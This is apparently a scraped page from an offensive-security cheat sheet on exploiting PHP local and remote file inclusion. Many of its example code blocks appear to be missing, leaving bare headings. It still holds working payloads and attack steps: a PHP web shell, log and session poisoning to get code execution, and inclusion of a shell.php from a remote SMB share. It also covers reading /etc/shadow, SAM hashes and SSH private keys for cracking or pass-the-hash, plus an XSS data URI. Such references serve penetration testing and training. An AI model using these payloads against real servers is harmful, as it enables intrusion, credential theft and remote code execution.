File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application

Summary

  • Tools

  • Basic LFI

    • Null byte

    • Double encoding

    • UTF-8 encoding

    • Path and dot truncation

    • Filter bypass tricks

  • Basic RFI

  • LFI / RFI using wrappers

    • Wrapper php://filter

    • Wrapper zip://

    • Wrapper data://

    • Wrapper expect://

    • Wrapper input://

    • Wrapper phar://

  • LFI to RCE via /proc/*/fd

  • LFI to RCE via /proc/self/environ

  • LFI to RCE via upload

  • LFI to RCE via upload (race)

  • LFI to RCE via upload (FindFirstFile)

  • LFI to RCE via phpinfo()

  • LFI to RCE via controlled log file

  • LFI to RCE via PHP sessions

  • LFI to RCE via credentials files

Tools

Basic LFI

In the following examples we include the /etc/passwd file, check the Directory & Path Traversal chapter for more interesting files.

Null byte

⚠️ In versions of PHP below 5.3.4 we can terminate with null byte.

Double encoding

UTF-8 encoding

Path and dot truncation

On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.

Filter bypass tricks

Basic RFI

Most of the filter bypasses from LFI section can be reused for RFI.

Null byte

Double encoding

Bypass allow_url_include

When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.

  1. Create a share open to everyone

  2. Write a PHP code inside a file : shell.php

  3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php

LFI / RFI using wrappers

Wrapper php://filter

The part "php://filter" is case insensitive

can be chained with a compression wrapper for large files.

NOTE: Wrappers can be chained multiple times using | or /:

  • Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s

  • deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php

Wrapper zip://

Wrapper data://

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple curl command.

Alternatively, Kadimus has a module to automate this attack.

Wrapper phar://

Create a phar file with a serialized object in its meta-data.

If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked

NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, file_exists and many more.

LFI to RCE via /proc/*/fd

  1. Upload a lot of shells (for example : 100)

  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)

LFI to RCE via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

LFI to RCE via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI to RCE via upload (race)

Worlds Quitest Let's Play"

  • Upload a file and trigger a self-inclusion.

  • Repeat 1 a shitload of time to:

  • increase our odds of winning the race

  • increase our guessing odds

  • Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}

  • Enjoy our shell.

LFI to RCE via upload (FindFirstFile)

⚠️ Only works on Windows

FindFirstFile allows using masks (<< as * and > as ?) in LFI paths on Windows.

  • Upload a file, it should be stored in the temp folder C:\Windows\Temp\.

  • Include it using http://site/vuln.php?inc=c:\windows\temp\php<<

LFI to RCE via phpinfo()

PHPinfo() displays the content of any variables such as $_GET, $_POST and $_FILES.

By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.

Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)

Research from https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

RCE via SSH

Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.

Then include the SSH log files inside the Web Application.

RCE via Mail

First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.

In some cases you can also send the email with the mail command line.

RCE via Apache logs

Poison the User-Agent in access logs:

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files

Set the cookie to <?php system('cat /etc/passwd');?>

Use the LFI to include the PHP session file

LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

Windows version

First extract sam and system files.

Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.

Linux version

First extract /etc/shadow files.

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used /proc/self/status and /etc/passwd and try to access /<HOME>/.ssh/id_rsa.

References

Last updated